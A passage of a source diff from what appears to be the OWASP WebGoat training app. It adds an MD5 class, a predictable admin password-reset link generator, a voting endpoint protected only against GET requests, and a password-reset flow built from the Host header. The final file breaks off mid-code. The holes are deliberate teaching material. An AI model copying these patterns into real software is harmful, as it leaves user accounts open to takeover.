* Reset the MD5 sum to its initial state.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void reset() {
|
||||||
|
workingState.reset();
|
||||||
|
finalState.valid = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns 32-character hex representation of this hash.
|
||||||
|
*
|
||||||
|
* @return String representation of this object's hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return getHashString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update this hash with the given data.
|
||||||
|
* <p>
|
||||||
|
* A state may be passed into this method so that we can add padding
|
||||||
|
* and finalize a md5 hash without limiting our ability to update
|
||||||
|
* more data later.
|
||||||
|
* <p>
|
||||||
|
* If length bytes are not available to be hashed, as many bytes as
|
||||||
|
* possible will be hashed.
|
||||||
|
*
|
||||||
|
* @param state Which state is updated.
|
||||||
|
* @param buffer Array of bytes to be hashed.
|
||||||
|
* @param offset Offset to buffer array.
|
||||||
|
* @param length number of bytes to hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private void update(MD5State state, byte buffer[], int offset, int length) {
|
||||||
|
|
||||||
|
finalState.valid = false;
|
||||||
|
|
||||||
|
// if length goes beyond the end of the buffer, cut it short.
|
||||||
|
if ((length + offset) > buffer.length) {
|
||||||
|
length = buffer.length - offset;
|
||||||
|
}
|
||||||
|
|
||||||
|
// compute number of bytes mod 64
|
||||||
|
// this is what we have sitting in a buffer
|
||||||
|
// that have not been hashed yet
|
||||||
|
int index = (int) (state.bitCount >>> 3) & 0x3f;
|
||||||
|
|
||||||
|
// add the length to the count (translate bytes to bits)
|
||||||
|
state.bitCount += length << 3;
|
||||||
|
|
||||||
|
int partlen = 64 - index;
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
if (length >= partlen) {
|
||||||
|
System.arraycopy(buffer, offset, state.buffer, index, partlen);
|
||||||
|
transform(state, decode(state.buffer, 64, 0));
|
||||||
|
for (i = partlen; (i + 63) < length; i += 64) {
|
||||||
|
transform(state, decode(buffer, 64, i));
|
||||||
|
}
|
||||||
|
index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// buffer remaining input
|
||||||
|
if (i < length) {
|
||||||
|
for (int start = i; i < length; i++) {
|
||||||
|
state.buffer[index + i - start] = buffer[i + offset];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update this hash with the given data.
|
||||||
|
* <p>
|
||||||
|
* If length bytes are not available to be hashed, as many bytes as
|
||||||
|
* possible will be hashed.
|
||||||
|
*
|
||||||
|
* @param buffer Array of bytes to be hashed.
|
||||||
|
* @param offset Offset to buffer array.
|
||||||
|
* @param length number of bytes to hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void update(byte buffer[], int offset, int length) {
|
||||||
|
update(workingState, buffer, offset, length);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update this hash with the given data.
|
||||||
|
* <p>
|
||||||
|
* If length bytes are not available to be hashed, as many bytes as
|
||||||
|
* possible will be hashed.
|
||||||
|
*
|
||||||
|
* @param buffer Array of bytes to be hashed.
|
||||||
|
* @param length number of bytes to hash.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void update(byte buffer[], int length) {
|
||||||
|
update(buffer, 0, length);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update this hash with the given data.
|
||||||
|
*
|
||||||
|
* @param buffer Array of bytes to be hashed.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void update(byte buffer[]) {
|
||||||
|
update(buffer, 0, buffer.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Updates this hash with a single byte.
|
||||||
|
*
|
||||||
|
* @param b byte to be hashed.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void update(byte b) {
|
||||||
|
byte buffer[] = new byte[1];
|
||||||
|
buffer[0] = b;
|
||||||
|
update(buffer, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update this hash with a String.
|
||||||
|
* The string is converted to bytes using the current
|
||||||
|
* platform's default character encoding.
|
||||||
|
*
|
||||||
|
* @param s String to be hashed.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void update(String s) {
|
||||||
|
update(s.getBytes());
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update this hash with a String.
|
||||||
|
*
|
||||||
|
* @param s String to be hashed.
|
||||||
|
* @param enc The name of a supported character encoding.
|
||||||
|
* @throws UnsupportedEncodingException If the named encoding is not supported.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
public void update(String s, String enc) throws UnsupportedEncodingException {
|
||||||
|
update(s.getBytes(enc));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The current state from which the hash sum
|
||||||
|
* can be computed or updated.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private MD5State workingState = new MD5State();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Cached copy of the final MD5 hash sum. This is created when
|
||||||
|
* the hash is requested and it is invalidated when the hash
|
||||||
|
* is updated.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private MD5State finalState = new MD5State();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Temporary buffer cached here for performance reasons.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private int[] decodeBuffer = new int[16];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 64 bytes of padding that can be added if the length
|
||||||
|
* is not divisible by 64.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private static final byte padding[] = {
|
||||||
|
(byte) 0x80, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
0, 0, 0, 0, 0, 0, 0, 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Contains internal state of the MD5 class.
|
||||||
|
* Passes MD5 test suite as defined in RFC1321.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private class MD5State {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* True if this state is valid.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private boolean valid = true;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reset to initial state.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private void reset() {
|
||||||
|
state[0] = 0x67452301;
|
||||||
|
state[1] = 0xefcdab89;
|
||||||
|
state[2] = 0x98badcfe;
|
||||||
|
state[3] = 0x10325476;
|
||||||
|
|
||||||
|
bitCount = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 128-byte state
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private int state[] = new int[4];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 64-bit count of the number of bits that have been hashed.
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private long bitCount;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 64-byte buffer (512 bits) for storing to-be-hashed characters
|
||||||
|
*
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private byte buffer[] = new byte[64];
|
||||||
|
|
||||||
|
private MD5State() {
|
||||||
|
reset();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Set this state to be exactly the same as some other.
|
||||||
|
*
|
||||||
|
* @param from state to copy from.
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private void copy(MD5State from) {
|
||||||
|
System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length);
|
||||||
|
System.arraycopy(from.state, 0, this.state, 0, this.state.length);
|
||||||
|
this.valid = from.valid;
|
||||||
|
this.bitCount = from.bitCount;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Turns array of bytes into string representing each byte as
|
||||||
|
* a two digit unsigned hex number.
|
||||||
|
*
|
||||||
|
* @param hash Array of bytes to convert to hex-string
|
||||||
|
* @return Generated hex string
|
||||||
|
* @since ostermillerutils 1.00.00
|
||||||
|
*/
|
||||||
|
private static String toHex(byte hash[]) {
|
||||||
|
StringBuffer buf = new StringBuffer(hash.length * 2);
|
||||||
|
for (byte element : hash) {
|
||||||
|
int intVal = element & 0xff;
|
||||||
|
if (intVal < 0x10) {
|
||||||
|
// append a zero before a one digit hex
|
||||||
|
// number to make it two digits.
|
||||||
|
buf.append("0");
|
||||||
|
}
|
||||||
|
buf.append(Integer.toHexString(intVal));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int FF(int a, int b, int c, int d, int x, int s, int ac) {
|
||||||
|
a += ((b & c) | (~b & d));
|
||||||
|
a += x;
|
||||||
|
a += ac;
|
||||||
|
//return rotateLeft(a, s) + b;
|
||||||
|
a = (a << s) | (a >>> (32 - s));
|
||||||
|
return a + b;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int GG(int a, int b, int c, int d, int x, int s, int ac) {
|
||||||
|
a += ((b & d) | (c & ~d));
|
||||||
|
a += x;
|
||||||
|
a += ac;
|
||||||
|
//return rotateLeft(a, s) + b;
|
||||||
|
a = (a << s) | (a >>> (32 - s));
|
||||||
|
return a + b;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int HH(int a, int b, int c, int d, int x, int s, int ac) {
|
||||||
|
a += (b ^ c ^ d);
|
||||||
|
a += x;
|
||||||
|
a += ac;
|
||||||
|
//return rotateLeft(a, s) + b;
|
||||||
|
a = (a << s) | (a >>> (32 - s));
|
||||||
|
return a + b;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int II(int a, int b, int c, int d, int x, int s, int ac) {
|
||||||
|
a += (c ^ (b | ~d));
|
||||||
|
a += x;
|
||||||
|
a += ac;
|
||||||
|
//return rotateLeft(a, s) + b;
|
||||||
|
a = (a << s) | (a >>> (32 - s));
|
||||||
|
return a + b;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] encode(long l) {
|
||||||
|
byte[] out = new byte[8];
|
||||||
|
out[0] = (byte) (l & 0xff);
|
||||||
|
out[1] = (byte) ((l >>> 8) & 0xff);
|
||||||
|
out[2] = (byte) ((l >>> 16) & 0xff);
|
||||||
|
out[3] = (byte) ((l >>> 24) & 0xff);
|
||||||
|
out[4] = (byte) ((l >>> 32) & 0xff);
|
||||||
|
out[5] = (byte) ((l >>> 40) & 0xff);
|
||||||
|
out[6] = (byte) ((l >>> 48) & 0xff);
|
||||||
|
out[7] = (byte) ((l >>> 56) & 0xff);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] encode(int input[], int len) {
|
||||||
|
byte[] out = new byte[len];
|
||||||
|
int i, j;
|
||||||
|
for (i = j = 0; j < len; i++, j += 4) {
|
||||||
|
out[j] = (byte) (input[i] & 0xff);
|
||||||
|
out[j + 1] = (byte) ((input[i] >>> 8) & 0xff);
|
||||||
|
out[j + 2] = (byte) ((input[i] >>> 16) & 0xff);
|
||||||
|
out[j + 3] = (byte) ((input[i] >>> 24) & 0xff);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private int[] decode(byte buffer[], int len, int offset) {
|
||||||
|
int i, j;
|
||||||
|
for (i = j = 0; j < len; i++, j += 4) {
|
||||||
|
decodeBuffer[i] = (
|
||||||
|
(buffer[j + offset] & 0xff)) |
|
||||||
|
(((buffer[j + 1 + offset] & 0xff)) << 8) |
|
||||||
|
(((buffer[j + 2 + offset] & 0xff)) << 16) |
|
||||||
|
(((buffer[j + 3 + offset] & 0xff)) << 24
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return decodeBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void transform(MD5State state, int[] x) {
|
||||||
|
int a = state.state[0];
|
||||||
|
int b = state.state[1];
|
||||||
|
int c = state.state[2];
|
||||||
|
int d = state.state[3];
|
||||||
|
|
||||||
|
/* Round 1 */
|
||||||
|
a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */
|
||||||
|
d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */
|
||||||
|
c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */
|
||||||
|
b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */
|
||||||
|
a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */
|
||||||
|
d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */
|
||||||
|
c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */
|
||||||
|
b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */
|
||||||
|
a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */
|
||||||
|
d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */
|
||||||
|
c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */
|
||||||
|
b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */
|
||||||
|
a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */
|
||||||
|
d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */
|
||||||
|
c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */
|
||||||
|
b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */
|
||||||
|
|
||||||
|
/* Round 2 */
|
||||||
|
a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */
|
||||||
|
d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */
|
||||||
|
c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */
|
||||||
|
b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */
|
||||||
|
a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */
|
||||||
|
d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */
|
||||||
|
c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */
|
||||||
|
b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */
|
||||||
|
a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */
|
||||||
|
d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */
|
||||||
|
c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */
|
||||||
|
b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */
|
||||||
|
a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */
|
||||||
|
d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */
|
||||||
|
c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */
|
||||||
|
b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */
|
||||||
|
|
||||||
|
/* Round 3 */
|
||||||
|
a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */
|
||||||
|
d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */
|
||||||
|
c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */
|
||||||
|
b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */
|
||||||
|
a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */
|
||||||
|
d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */
|
||||||
|
c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */
|
||||||
|
b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */
|
||||||
|
a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */
|
||||||
|
d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */
|
||||||
|
c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */
|
||||||
|
b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */
|
||||||
|
a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */
|
||||||
|
d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */
|
||||||
|
c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */
|
||||||
|
b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */
|
||||||
|
|
||||||
|
/* Round 4 */
|
||||||
|
a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */
|
||||||
|
d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */
|
||||||
|
c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */
|
||||||
|
b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */
|
||||||
|
a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */
|
||||||
|
d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */
|
||||||
|
c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */
|
||||||
|
b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */
|
||||||
|
a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */
|
||||||
|
d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */
|
||||||
|
c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */
|
||||||
|
b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */
|
||||||
|
a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */
|
||||||
|
d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */
|
||||||
|
c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */
|
||||||
|
b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */
|
||||||
|
|
||||||
|
state.state[0] += a;
|
||||||
|
state.state[1] += b;
|
||||||
|
state.state[2] += c;
|
||||||
|
state.state[3] += d;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,43 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge7;
|
||||||
|
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents
|
||||||
|
*
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/17/17.
|
||||||
|
*/
|
||||||
|
public class PasswordResetLink {
|
||||||
|
|
||||||
|
public String createPasswordReset(String username, String key) {
|
||||||
|
Random random = new Random();
|
||||||
|
if (username.equalsIgnoreCase("admin")) {
|
||||||
|
//Admin has a fix reset link
|
||||||
|
random.setSeed(key.length());
|
||||||
|
}
|
||||||
|
return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String scramble(Random random, String inputString) {
|
||||||
|
char a[] = inputString.toCharArray();
|
||||||
|
for (int i = 0; i < a.length; i++) {
|
||||||
|
int j = random.nextInt(a.length);
|
||||||
|
char temp = a[i];
|
||||||
|
a[i] = a[j];
|
||||||
|
a[j] = temp;
|
||||||
|
}
|
||||||
|
return new String(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
if (args == null || args.length != 2) {
|
||||||
|
System.out.println("Need a username and key");
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
String username = args[0];
|
||||||
|
String key = args[1];
|
||||||
|
System.out.println("Generation password reset link for " + username);
|
||||||
|
System.out.println("Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key));
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,68 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge8;
|
||||||
|
|
||||||
|
import com.google.common.collect.Maps;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
|
import org.owasp.webgoat.plugin.Flag;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.PathVariable;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 4/8/17.
|
||||||
|
*/
|
||||||
|
@AssignmentPath("/challenge/8")
|
||||||
|
@Slf4j
|
||||||
|
public class Assignment8 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private static final Map<Integer, Integer> votes = Maps.newHashMap();
|
||||||
|
|
||||||
|
static {
|
||||||
|
votes.put(1, 400);
|
||||||
|
votes.put(2, 120);
|
||||||
|
votes.put(3, 140);
|
||||||
|
votes.put(4, 150);
|
||||||
|
votes.put(5, 300);
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping(value = "/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
|
@ResponseBody
|
||||||
|
public ResponseEntity<?> vote(@PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) {
|
||||||
|
//Simple implementation of VERB Based Authentication
|
||||||
|
String msg = "";
|
||||||
|
if (request.getMethod().equals("GET")) {
|
||||||
|
HashMap<String, Object> json = Maps.newHashMap();
|
||||||
|
json.put("error", true);
|
||||||
|
json.put("message", "Sorry but you need to login first in order to vote");
|
||||||
|
return ResponseEntity.status(200).body(json);
|
||||||
|
}
|
||||||
|
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
||||||
|
votes.put(nrOfStars, allVotesForStar + 1);
|
||||||
|
return ResponseEntity.ok().header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/votes/")
|
||||||
|
public ResponseEntity<?> getVotes() {
|
||||||
|
return ResponseEntity.ok(votes.entrySet().stream().collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue())));
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/votes/average")
|
||||||
|
public ResponseEntity<Map<String, Integer>> average() {
|
||||||
|
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
|
||||||
|
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
|
||||||
|
Map json = Maps.newHashMap();
|
||||||
|
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
|
||||||
|
return ResponseEntity.ok(json);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,39 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge8;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import org.owasp.webgoat.lessons.Category;
|
||||||
|
import org.owasp.webgoat.lessons.NewLesson;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 3/21/17.
|
||||||
|
*/
|
||||||
|
public class Challenge8 extends NewLesson {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Category getDefaultCategory() {
|
||||||
|
return Category.CHALLENGE;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getHints() {
|
||||||
|
return Lists.newArrayList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Integer getDefaultRanking() {
|
||||||
|
return 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getTitle() {
|
||||||
|
return "challenge8.title";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getId() {
|
||||||
|
return "Challenge8";
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,159 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge9;
|
||||||
|
|
||||||
|
import com.beust.jcommander.internal.Lists;
|
||||||
|
import com.beust.jcommander.internal.Maps;
|
||||||
|
import com.google.common.collect.EvictingQueue;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.owasp.webgoat.mail.IncomingMailEvent;
|
||||||
|
import org.owasp.webgoat.users.UserRepository;
|
||||||
|
import org.owasp.webgoat.users.WebGoatUser;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.http.HttpEntity;
|
||||||
|
import org.springframework.http.HttpHeaders;
|
||||||
|
import org.springframework.http.HttpMethod;
|
||||||
|
import org.springframework.jms.core.JmsTemplate;
|
||||||
|
import org.springframework.ui.Model;
|
||||||
|
import org.springframework.util.StringUtils;
|
||||||
|
import org.springframework.validation.BindingResult;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.time.LocalDateTime;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
import static org.owasp.webgoat.plugin.Flag.FLAGS;
|
||||||
|
import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9;
|
||||||
|
import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL;
|
||||||
|
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 4/8/17.
|
||||||
|
*/
|
||||||
|
@AssignmentPath("/challenge/9")
|
||||||
|
@Slf4j
|
||||||
|
public class Assignment9 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private static Map<String, String> userToTomResetLink = Maps.newHashMap();
|
||||||
|
private static Map<String, String> usersToTomPassword = Maps.newHashMap();
|
||||||
|
private static EvictingQueue resetLinks = EvictingQueue.create(1000);
|
||||||
|
|
||||||
|
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
||||||
|
"<a target='_blank' href='http://%s/WebGoat/challenge/9/reset-password/%s'>link</a> to reset your password." +
|
||||||
|
"\n \n\n" +
|
||||||
|
"If you did not request this password change you can ignore this message." +
|
||||||
|
"\n" +
|
||||||
|
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
||||||
|
"\n\n" +
|
||||||
|
"Kind regards, \nTeam WebGoat";
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private JmsTemplate jmsTemplate;
|
||||||
|
@Autowired
|
||||||
|
private UserRepository userRepository;
|
||||||
|
|
||||||
|
@RequestMapping(method = POST, value = "/create-password-reset-link")
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request, @CookieValue("JSESSIONID") String cookie) {
|
||||||
|
String resetLink = UUID.randomUUID().toString();
|
||||||
|
resetLinks.add(resetLink);
|
||||||
|
String host = request.getHeader("host");
|
||||||
|
if (StringUtils.hasText(email)) {
|
||||||
|
if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header.
|
||||||
|
userToTomResetLink.put(getWebSession().getUserName(), resetLink);
|
||||||
|
fakeClickingLinkEmail(cookie, host, resetLink);
|
||||||
|
} else {
|
||||||
|
sendMailToUser(email, host, resetLink);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return success().feedback("email.send").feedbackArgs(email).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendMailToUser(@RequestParam String email, String host, String resetLink) {
|
||||||
|
String username;
|
||||||
|
WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@")));
|
||||||
|
if (webGoatUser != null) {
|
||||||
|
username = webGoatUser.getUsername();
|
||||||
|
IncomingMailEvent mail = IncomingMailEvent.builder()
|
||||||
|
.title("Your password reset link for challenge 9")
|
||||||
|
.contents(String.format(TEMPLATE, host, resetLink))
|
||||||
|
.sender("password-reset@webgoat-cloud.net")
|
||||||
|
.recipient(username)
|
||||||
|
.time(LocalDateTime.now()).build();
|
||||||
|
jmsTemplate.convertAndSend("mailbox", mail);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
